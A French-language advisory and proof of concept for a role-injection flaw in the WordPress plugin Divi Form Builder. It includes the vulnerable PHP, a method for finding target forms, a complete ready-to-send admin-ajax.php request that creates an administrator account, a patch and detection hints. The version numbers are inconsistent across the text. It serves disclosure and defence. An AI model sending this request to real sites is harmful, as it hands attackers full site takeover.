
CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection
Le plugin WordPress Divi Form Builder version 5.1.2 et antérieures présente une vulnérabilité Critique permettant à un attaquant non authentifié de créer un compte Administrateur directement via le formulaire d'inscription.
Un champ caché. Une valeur modifiée. Accès complet à l'ensemble du site.
includes/shared/handlers/FormSubmissionHandler.php → create_user()
// Ligne ~1691 : Récupère le rôle depuis l'entrée utilisateur (SANS VALIDATION DE SÉCURITÉ)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Ligne ~1702 : Vérifie UNIQUEMENT si le rôle EXISTE dans le système, PAS s'il est SÛR
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber';
}
// Ligne ~1745 : Applique directement le rôle injecté !
$user = new WP_User($user_id);
$user->set_role($role); // ← "administrator" est directement appliqué
FLUX DE VALIDATION PROBLÉMATIQUE
┌──────────────────────────────────────────────────────┐
│ Attaquant envoie : role=administrator │
│ ↓ │
│ sanitize_text_field() → "administrator" (propre) │
│ ↓ │
│ isset($roles_obj->roles["administrator"]) → TRUE │ ← BUG ! Vérifie seulement EXISTE/N'EXISTE PAS
│ ↓ │
│ $user->set_role("administrator") → ADMIN COMPLET ! │ ← PRIVESC !
└──────────────────────────────────────────────────────┘
"administrator" EST un rôle valide dans WordPress,
donc la validation isset() retourne TOUJOURS true.
Cette fonction NE REFUSE JAMAIS les rôles dangereux.
Le formulaire d'inscription DFB contient une entrée cachée :
<!-- Valeur originale du développeur -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">
<!-- L'attaquant change simplement la valeur -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">
[★] Découverte de la cible : Indicateur Divi Form Builder
├── Scan d'endpoint : 50+ chemins d'inscription
├── Exploration des liens de la page d'accueil : mot-clé prioritaire
├── API REST : /wp-json/wp/v2/pages?search=register
├── Analyse du sitemap : URLs du sitemap XML
├── API REST DFB : /wp-json/divi-form-builder/v1
├── Sondage AJAX : de_fb_ajax_submit_ajax_handler
├── WooCommerce : /my-account/ sous-pages
├── robots.txt : sitemaps personnalisés + disallow
├── Pages de contact : formulaires DFB cachés
└── wp-json deep : scan prioritaire du contenu
[✓] Trouvé : <input class="df_hidden_user_role" value="customer">
[✓] Version du plugin : v4.1.9 (VULNÉRABLE)
[✓] Formulaire multi-étapes avec reCAPTCHA v3
Paramètres requis :
├── fb_nonce : [depuis une entrée cachée / de_fb_obj]
├── form_key : [depuis une entrée cachée]
├── form_type : register
├── divi-form-submit : yes
└── role : [INJECTION : administrator]
Champs de mappage :
├── de_fb_user_login + user_login (les deux variantes obligatoires)
├── de_fb_user_email + user_email
├── de_fb_user_pass + user_pass
└── de_fb_pass_repeat
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest
------POC
Content-Disposition: form-data; name="action"
de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"
[nonce_du_formulaire]
------POC
Content-Disposition: form-data; name="role"
administrator
------POC
Content-Disposition: form-data; name="form_type"
register
------POC
Content-Disposition: form-data; name="divi-form-submit"
yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"
attacker1337
------POC
Content-Disposition: form-data; name="user_login"
attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"
[email protected]
------POC
Content-Disposition: form-data; name="user_email"
[email protected]
------POC--
[→] POST /wp-login.php
user_login=attacker1337&user_pass=Str0ngP@ss!
[←] HTTP 302 → /wp-admin/
[✓] ACCÈS ADMINISTRATEUR COMPLET CONFIRMÉ
├── Tableau de bord : /wp-admin/
├── Utilisateurs : Peut créer/supprimer n'importe quel utilisateur
├── Extensions : Peut installer/activer/modifier du PHP
├── Thèmes : Peut modifier les fichiers de template → RCE
└── Réglages : Contrôle total du site
Les tests ont été effectués dans un environnement Docker isolé (WordPress 6.5 + DFB v5.0.0) :
╔══════════════════════════════════════════════════════╗
║ RÉSULTATS DE VÉRIFICATION EN LABORATOIRE ║
╠══════════════════════════════════════════════════════╣
║ Méthode : AJAX (admin-ajax.php) ║
║ Rôle injecté : administrator ║
║ Réponse : "Inscription réussie !" ║
║ Connexion : HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Méthode : POST de formulaire (soumission directe) ║
║ Rôle injecté : administrator ║
║ Réponse : "Inscription réussie !" ║
║ Connexion : HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Statut : ★ PWNED — Accès administrateur complet ★ ║
╚══════════════════════════════════════════════════════╝
// AVANT (vulnérable) :
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← Vérifie seulement l'EXISTENCE, pas la SÉCURITÉ
}
// APRÈS (sécurisé) :
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Autoriser uniquement les rôles sûrs pour l'inscription publique
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Refuser tous les rôles dangereux
}
role du formulaire frontal — Utiliser le default_user_role déjà existantcurrent_user_can('create_users') pour les rôles spéciaux| Date | Événement |
|---|---|
| 2026-04-13 | Version 5.1.3 publiée (correction possible d'après le changelog) |
| 2026-05-21 | Vulnérabilité vérifiée indépendamment dans un laboratoire isolé |
| 2026-05-21 | Divulgation responsable envoyée à la sécurité Divi Engine |
role=administrator sur les requêtes POSTwp_users pour les nouveaux comptes admin inconnus/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerCe document est créé à des fins éducatives et de divulgation responsable. Tous les tests d'exploitation ont été effectués dans un environnement de laboratoire isolé. Sur des cibles réelles, seule une détection passive a été réalisée (identification du formulaire et des paramètres, sans envoi de données d'exploitation).
L'auteur décline toute responsabilité en cas d'utilisation abusive des informations contenues dans ce document.
CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • Escalade de Privilèges Non Authentifiée
Découvert et vérifié : 2026-05-21
| Capacité | Impact |
|---|
| 🔑 Créer un compte admin sans connexion | Prise de contrôle totale du site |
| 📦 Accéder aux données client WooCommerce | Fuite de données |
| 💉 Modifier des fichiers plugin/thème (PHP) | Exécution de code à distance |
| 🕳️ Créer une porte dérobée cachée | Accès persistant |
| 👥 Voir toutes les données utilisateur | Violation de la vie privée |